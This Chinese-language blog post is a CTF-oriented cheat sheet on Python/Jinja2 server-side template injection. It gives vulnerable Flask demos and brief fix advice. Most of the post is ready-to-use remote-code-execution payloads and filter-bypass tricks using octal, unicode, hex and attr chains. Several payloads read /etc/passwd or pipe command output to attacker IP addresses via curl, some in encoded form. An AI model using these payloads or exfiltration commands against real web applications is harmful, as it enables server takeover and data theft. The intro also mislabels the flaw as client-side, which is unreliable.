python SSTI 总结

python SSTI 总结

简介:客户端模板注入,注入过程类似于sql注入。

文章写了笔者所知的关于此漏洞的 环境搭建,漏洞前提条件,危害,攻击流程,技巧性绕过,修复建议等

而真正在利用的时候,只需要找几条可靠的超短payload,绕过过滤就可以

环境搭建

参考flask之ssti模版注入从零到入门_智者不ru爱河的博客-程序员宅基地 - 程序员宅基地 (cxyzjd.com)

找类

如果单纯只是想找找类的话:

随便新建一个app.py

随后在app.py添加如下代码

from flask import Flask

print("".__class__)

之后直接终端python app.py就可以

不过还是推荐使用pycharm进行编辑,因为比较好看

缺点: 有时候会报__global__找不到

漏洞环境

demo1:

app.py

from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string

app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
    template = '''
        <div class="center-content error">
            <h1>FlaskTest.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(request.args.get("key"))

    return render_template_string(template)

if __name__ == '__main__':
    app.debug = True
    app.run()

运行app.py,默认5000端口

payload

http://127.0.0.1:5000/test?key={{1*2}}

demo2:

from flask import Flask,render_template,render_template_string,request
import re

app = Flask(__name__)
@app.route('/',methods=['GET', 'POST'])
def test():
    template = "%s" % request.args["name"]

    return render_template_string(template)

if __name__ == '__main__':
    app.run(debug=True, port=8080)

漏洞修复建议

安全编程demo

1

from flask import Flask,render_template,render_template_string

app = Flask(__name__)

@app.route("/")
def hello_world():
    return render_template_string('{{name}}',name='config')

if __name__ =="__main__":
    app.run(debug=True,port=8080)

2

from flask import Flask,render_template,render_template_string

app = Flask(__name__)

@app.route("/")
def hello_world():
    return render_template('hello.html',name='jan')

if __name__ =="__main__":
    app.run(debug=True,port=8080)

templates/hello.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
{{name}}
</body>
</html>

前提条件

模板渲染函数(render_template_string,render_template)参数可控

具体来说,就是用了python的%格式化字符串这种方式,形如render_template_string('%s' % request.args['name']),这样便会产生漏洞。(相比起使用安全的{{}}进行字符替换,那种方式会渲染用户输入的{{}})

基础知识

python内置

__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
__dict__ 返回类或对象对应的属性
__init__ 返回类或对象的构造方法
__builtins__ 该模块提供对python 的所有内置标识符的直接访问
__import__ 导入包函数
__getitem__ 对象或者字典获取属性(方法不可以)

Jinja内置

1.内置类

2.内置函数

  • url_for:flask.url_for
  • get_flashed_messages:flask.get_flashed_messages
  • lipsum

变量

{{foo.bar}}
{{foo['bar']}}
{{foo|attr('bar')}}

攻击流程

超短payload

(推荐)

思路:

发现注入点->直接获取特殊的类->各显神通

发现注入点->获取基本类Object->向下获取基本类Object的子类->在子类中找到<class 'os._wrap_close'>->直接加上那个payload

os._wrap_close

<class 'os._wrap_close'>

这个类就可以直接再后面加上__init__.__golbals__['popen'][ls].read()

八进制的写法:

["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\160\157\160\145\156"]("\143\141\164\040\057\146\154\141\147")["\162\145\141\144"]()

//__init__.__golbals__['popen'][ls].read()

特殊的类(推荐)

{{config.__class__.__init__.__globals__['os'].popen('dir').read()}} 

{{lipsum.__globals__['os'].popen('dir').read()}}

{{url_for.__globals__.os.popen('whoami').read()}}

{{get_flashed_messages.__globals__.os.popen('whoami').read()}}

{{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}}

{{url_for.__globals__.__builtins__.__import__('os').popen('ls').read()}}

{{cycler.__init__.__globals__.os.popen('dir').read()}}

{{x.__init__.__globals__.__builtins__.__import__('os').popen('ls').read()}}
#例如
#{{jacko_god.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

#{{jacko|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")("__import__('os').popen('curl 175.24.73.30:2333?flag=`cat /f1agggghere`').read()")}}

#也就是
#jacko.__init__.__globals__.__getitem__["__builtins__"].__getitem__["eval"]("__import__('os').popen('curl 175.24.73.30:2333?flag=`cat /f1agggghere`').read()")

{{x.__init__.__globals__.__builtins__.open('/etc/passwd').read()}}

{{config['__init__']['__globals__']['os']['popen']('ls /')['read']()}}

{{(config|attr('__init__')|attr('__globals__')).os.popen('ls').read()}}

总的来说,以上的payload存在几种如下的变形

1.内置类中含os

config.__init__.__globals__.os.popen('ls /').read()

2.未定义类

xxx.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()

3.内置函数

url_for.__globals__.os.popen('whoami').read()
get_flashed_messages.__globals__.os.popen('whoami').read()
lipsum.__globals__.os.popen('whoami').read()

常规思路

参考:

http://flag0.com/2018/11/11/%E6%B5%85%E6%9E%90SSTI-python%E6%B2%99%E7%9B%92%E7%BB%95%E8%BF%87/

思路:

发现注入点->获取基本类Object->向下获取基本类Object的子类->在子类中找到不带wrapper的类->查看其引用__builtins__->引入file然后文件读写

​ ->找file类然后直接文件读写

发现注入点->获取基本类Object->向下获取基本类Object的子类->在子类中找到不带wrapper的类->查看其引用__builtins__->引入eval或者exec然后rce

发现注入点->获取基本类Object->向下获取基本类Object的子类->在子类中找到warnings.catch_warnings->一步一步引用相应的组件

以上的思路一般都是推荐file或者直接使用eval

  • 发现注入点(略)

  • 获取基本类

''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用
  • 获取基本类后,继续向下获取基本类(object)的子类
object.__subclasses__()
  • 找到重载过的__init__类(在获取初始化属性后,带wrapper的说明没有重载,寻找不带wrapper的)
>>> ''.__class__.__mro__[2].__subclasses__()[99].__init__
<slot wrapper '__init__' of 'object' objects>
>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__
<unbound method WarningMessage.__init__>
  • 查看其引用__builtins__

builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']

这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file以实现读取文件的功能

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['某某函数']('相应参数').read()或者write()
# 例如
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

文件读写

上面的方法读文件

方法1

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()    #将read() 修改为 write() 即为写文件

存在的子模块可以通过.index()来进行查询,如果存在的话返回索引,直接调用即可

方法2

>>> ''.__class__.__mro__[2].__subclasses__().index(file)
40
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() #将read() 修改为 write() 即为写文件

命令执行

方法1 利用eval 进行命令执行

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

方法2 利用warnings.catch_warnings 进行命令执行

  • 查看warnings.catch_warnings方法的位置
>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59

或者使用脚本

import json

a = """把所有子类丢这里"""

num = 0
allList = []

result = ""
for i in a:
    if i == ">":
        result += i
        allList.append(result)
        result = ""
    elif i == "\n" or i == ",":
        continue
    else:
        result += i

for k, v in enumerate(allList):
    if "warnings.catch_warnings" in v:
        print(str(k) + "--->" + v)
PS D:\脚本> python .\ssti找你想要的子类.py
240---> <class 'warnings.catch_warnings'>
  • 查看linecache的位置
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
25
  • 查找os模块的位置
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
12
  • 查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
144
  • 调用system方法
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0

绕过技巧

参考

https://blog.csdn.net/solitudi/article/details/107752717?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163546956516780262526517%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=163546956516780262526517&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-1-107752717.pc_search_result_control_group&utm_term=ctf+ssti%E7%BB%95%E8%BF%87&spm=1018.2226.3001.4187

https://blog.csdn.net/miuzzx/article/details/110220425

SSTI-flask (wolai.com)

分隔符过滤

1.控制语句

{% ... %}

print:

{%print(url_for.__globals__.os.popen('whoami').read())%}

if:

{%if url_for.__globals__.os.popen('curl 175.24.73.30:2333?flag=`whoami`').read()%}1{%endif%}

2.表达式

{{ ... }}

3.注释

{# ... #}

过滤_

编码绕过

比如:__class__ => \x5f\x5fclass\x5f\x5f
但是要先转为字符串:
.__init__.__globals__
转为
.__init__['\x5f\x5fglobals\x5f\x5f']

request绕过

''.__class__写成 ''|attr(request['values']['x1']),然后post传入x1=__class__

过滤点

中括号

xxx.__xxx__.__xxxx__

可以写为

xxx['__xxx__'].__xxxx___

xxx['__xxx__']['__xxx__']

|attr

使用|attr 这个可以代替. 注意不可以代替括号

xxx.__xxx__

改写为

xxx|attr('__xxx__')

但是改写到os那里还是会报错的,使用getitem如下可成功

{{thai|attr("__init__")|attr("__globals__")|attr("__getitem__")("__builtins__")|attr("__getitem__")("eval")("__import__('os').popen('dir').read()")}}

__getattribute__

config.__getattribute__('__init__')
url_for.__getattribute__('__globals__')

open函数

xxx.__init__.__globals__.__builtins__.open('/flag').read()

绕过中括号

pop

pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。在这里使用pop并不会真的移除,但是却能返回其值,取代中括号,来实现绕过

''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

关键字绕过

编码绕过

hex

url_for.__globals__.os.popen('who\x61mi').read()

python2

url_for.__globals__.os.popen('77686f616d69'.decode('hex')).read()

oct

双引号或者单引号里面直接加上/123, 这种代表的是八进制表示的ascii码

unicode

双引号或者单引号里面直接加上\u005f, 这种代表的是unicode编码

需要写点转化脚本

转八进制

strr = "__init__"
flag = ""
for i in ["__init__","__globals__","__getitem__","__builtins__","eval","__import__('os').popen('curl http://8.129.42.140:3307?cmd=`cat /*`').read()"]:
    for a in i:
        #print(str(oct(ord(a))))
        print(i+":")
        flag = flag + '\\'+str(oct(ord(a)))[2:]

    print(flag)
    flag = ""

最后自行手动组合为这样的payload

thai|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\165\162\154\40\150\164\164\160\72\57\57\70\56\61\62\71\56\64\62\56\61\64\60\72\63\63\60\67\47\51\56\162\145\141\144\50\51")

unicode编码此处暂无现成脚本,

Payload类似

""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(133)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u006c\u0073\u0020\u002f`\"")|attr("\u0072\u0065\u0061\u0064")()  
# curl 47.xxx.xxx.72:2333 -d \"`ls /`\"

base64

python2

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

request绕

{{''.__class__}} => {{''[request.args.t1]}}&t1=__class__
{{''.__class__}} => {{''[request['args']['t1']]}}&t1=__class__

拼接

直接拼:

url_for.__globals__.os.popen('who''ami').read()

+号:

url_for.__globals__.os.popen('who'+'ami').read()

~号:

url_for.__globals__.os.popen('who'~'ami').read()

%号:

url_for.__globals__.os.popen('who%s'%'ami').read()
url_for.__globals__.os.popen('w%s%s'%('ho','ami')).read()

join:

url_for.__globals__.os.popen(['who','ami']|join).read()

format:

url_for.__globals__.os.popen('%s%s'|format('who','ami')).read()

__add__

url_for.__globals__.os.popen('who'.__add__('ami')).read()

dict+join:

dict(__buil=a,tins__=a)|join

其他函数

eval, execfile, compile, open, file, map, input, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe, os.listdir, os.access, os.execl, os.execle, os.execlp, os.execlpe, os.execv, os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads,cPickle.load,cPickle.loads

exec、eval函数

eval:

有回显

xxx.__init__.__globals__.__builtins__.eval('__import__("os").popen("whoami").read()')

exec:

无回显,反弹shell

xxx.__init__.__globals__.__builtins__.exec('__import__("os").popen("whoami").read()')

格式化字符串

"{0:c}"['format'](97)

{{"{0:c}"['format'](97)}}                                                                       #a
{{"{0:c}"['format'](97)%2b"{0:c}"['format'](97)}}                                               #aa
{{""['{0:c}'['format'](95)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](99)%2b'{0:c}'['format'](108)%2b'{0:c}'['format'](97)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](95)]}}
        #__class__

无回显

无回显可以使用print

{%print(lipsum.__globals__.__getitem__(\"os\").popen(\"base64 /f*\").read())%}

工具

工具:arjun s0md3v/Arjun: HTTP parameter discovery suite. (github.com)

arjun -u http://f7fb6677-ea19-4574-b22a-f09b2f5b3834.node4.buuoj.cn:81/ -c 100 -d 5

找子类脚本

D盘的脚本“ssti找你最想要的子类.py”

import json

a = """把所有子类丢这里"""

num = 0
allList = []

result = ""
for i in a:
    if i == ">":
        result += i
        allList.append(result)
        result = ""
    elif i == "\n" or i == ",":
        continue
    else:
        result += i

for k, v in enumerate(allList):
    if "warnings.catch_warnings" in v:
        print(str(k) + "--->" + v)

标志

输入的东西在界面上有回显

判断{{7*7}}

image-20211106160813328

image-20221230210845958

python居多,flask框架居多,Php的smarty框架也有

看到

{{}}
{{% set {}=None%}}'.format(c) 

或者:build by smarty build by flask

可能在回显ip的地方

利用

{{}}可以干什么呢

flask

没有过滤可以直接{{config}}即可查看所有app.config

想办法去找到builtins这个子类,因为很多rce都可以在该类下使用

在我的python2可以用到的payload:

rce

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('curl 120.79.0.164:1235?id=`whoami`')

读文件

{}.__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()

rce

有时候如果找基类的时候前端只看到一堆逗号,可能是因为被解析了,去看前端的源码

?num=[].__class__.__bases__[0].__subclasses__()[151].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("curl%098.129.42.140:3307")')

tornado

可以列举变量找到secret_key

用global()查看当前全局变量

image-20221028214318389

用application.settings获取cookie_secret

image-20221028214325567

jinjia2

可以用{{%}}标签

原本做题流程应该是[].__class__.__base__找到基本类,然后__subclasses__()去寻找可以重载__init__的类,但是可以重载的类必须得在茫茫的基本类里面用肉眼数下标,太慢太辛苦了,所以可以利用{{%}}来写循环,条件语句

所以这使得我们找一个可利用的类变得相当简单

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

Smarty(php)

可以注入的点相当于外面有一层echo eval(),直接可以执行任意代码(如果没有过滤的话) (这句话待考察)

{$smarty.version}
{{var_dump(file_get_contents('/flag'))}}
{if phpinfo()}{/if}             //if标签

还可以用{php}{/php}{literal} 标签

当出现

require_once('./libs/Smarty.class.php');
$smarty->display(可控);

认为存在smarty模板注入

题目

有道入门题

直接在{{}}的地方{{cat /flag}}

[WesternCTF2018]shrine

链接:[WesternCTF2018]shrine - 王叹之 - 博客园 (cnblogs.com)

import flask
app.config['FLAG'] = os.environ.pop('FLAG') @ app.route('/')

def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine)

绕过上面的代码

本来没有waf的话,直接{{config}}即可查看所有app.config

像这种情况要用python还有一些内置函数,比如url_for和get_flashed_messages来绕过。

/shrine/{{url_for.__globals__}}

image-20210825180035862

看到current_app意思应该是当前app,那我们就当前app下的config:

/shrine/{{url_for.__globals__['current_app'].config}}

然后出flag

也可以用这种

/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

科莱杯

这个题考察点在sqli + ssti

sql注入和ssti均未有任何过滤,但是用sql注入联合查询的返回结果来进行ssti注入攻击的模式是第一次见

先联合查询union select 1,2,3

image-20211106170243437

然后2换成payload

http://47.105.148.65:29003/?username=GetFlag' union select 1,'{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen("strings /flag").read()}}',3 --+

image-20211106170358082

一节:

{% if {}.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://120.79.0.164:8080/?i=`whoami`').read()=

另一节:

='p' %}1

去掉下划线和中括号

{% if {}.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://120.79.0.164:8080/?i=`whoami`').read()=
get
|attr(request.values.name1)|attr(request.values.name2)

post

name1=__class__&name2=__mro__&name3
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://120.79.0.164:1235/?i=`dir`').read()=='p' %}1{% endif %}
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://39.105.116.195:8080/?i=`whoami`').read()=='p' %}1{% endif %}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇